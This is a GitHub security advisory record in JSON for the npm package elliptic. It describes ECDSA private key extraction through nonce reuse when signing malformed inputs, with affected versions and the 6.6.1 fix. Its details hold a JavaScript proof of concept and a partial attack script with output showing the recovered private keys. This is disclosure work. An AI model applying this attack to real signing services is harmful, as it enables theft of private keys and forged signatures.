GHSA-vjh7-7g9h-fjfh: Elliptic Elliptic's Private Key Extraction Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vjh7-7g9h-fjfh",
  "modified" : "2025-02-12T19:47:53Z",
  "published" : "2025-02-12T19:47:52Z",
  "aliases" : [ ],
  "summary" : "Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)",
  "details" : "### Summary\n\nPrivate key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input\n\nNote that `elliptic` by design accepts hex strings as one of the possible input types\n\n### Details\n\nIn this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107\n\n`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.\n\nMeaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures\n\nSuch a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction\n\nWhile signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key\n\nAlso, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain\n\n### PoC\n\n#### `k` reuse example\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'ed25519' // or any other curve, e.g. secp256k1\nconst ec = new EC(curve)\nconst prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`\nconst sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones\nconst sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form\nconst sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`\nconsole.log({ sig0, sig1, sig2 })\n```\n\n#### Full attack\n\nThis doesn't include code for generation/recovery on a purpose (bit it's rather trivial)\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'secp256k1' // or any other curve, e.g. ed25519\nconst ec = new EC(curve)\n\n// Any message, e.g. previously known signature\nconst msg0 = crypto.getRandomValues(new Uint8Array(32))\nconst sig0 = ec.sign(msg0, privateKey)\n\n// Attack\nconst msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types\nconst sig1 = ec.sign(msg1, privateKey)\n\nconst something = extract(msg0, sig0, sig1, curve)\n\nconsole.log('Curve:', curve)\nconsole.log('Typeof:', typeof msg1)\nconsole.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)\nconst rnd = crypto.getRandomValues(new Uint8Array(32))\nconst st = (x) => JSON.stringify(x)\nconsole.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))\nconsole.log('Orig key:', Buffer.from(privateKey).toString('hex'))\nconsole.log('Restored:', something)\n```\n\nOutput:\n```console\nCurve: secp256k1\nTypeof: string\nKeys equal? true\nKeys equivalent? true\nOrig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\nRestored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\n```\n\nSimilar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:\n```console\nCurve: ed25519\nTypeof: string\nKeys equal? false\nKeys equivalent? true\nOrig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189\nRestored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6\n```\n`restored` is equal to `orig` mod `N`.\n\n### Impact\n\nFull private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "elliptic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.6.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.6.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/indutny/elliptic/commit/04cb6f54ce552b3ebde6be06d6050419e1c7333e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/indutny/elliptic"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-12T19:47:52Z",
    "nvd_published_at" : null
  }
}